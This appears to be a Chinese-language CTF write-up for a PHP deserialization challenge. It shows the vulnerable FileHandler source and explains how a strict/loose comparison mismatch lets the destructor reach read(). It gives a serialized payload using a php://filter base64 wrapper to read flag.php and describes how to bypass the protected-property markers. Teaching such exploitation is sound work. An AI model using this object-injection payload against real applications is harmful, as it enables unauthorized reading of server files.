<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
一道反序列化题目,接收一个字符串将其反序列化。
先看__destruct方法,如果op为2,则将其赋值为1,content设为空,调用process方法。process方法中,根据op的值决定调用read方法或write方法。write方法可以向文件中写入内容,但是content无法控制,再看read方法,使用file_get_contents方法来获取内容,而filename是可以控制的,那么只需要想办法让程序调转到read方法即可,也就是需要控制op的值。
可以注意到,__destruct方法中的判断是强类型判断,而上面的process中是弱类型判断,那么只需要传入数字2即可绕过__destruct中的判断。
payload:
O:11:"FileHandler":3:{s:5:"*op";i:2;s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}
但是由于类型是protected的原因,每个变量前面会有%00*%00的标志,绕过方法有两个:
- 将protected类型改为public,php7.1+版本对属性类型不敏感
- 将s改为大写,原理下面附上图。
![[网鼎杯 2020 青龙组]AreUSerialz - 图1](/uploads/projects/u2167937@rclxdh/d85b1a6b7fa08a63f6bba39e75e0863c.png)
最后读取到flag.php的内容,解码得到flag。
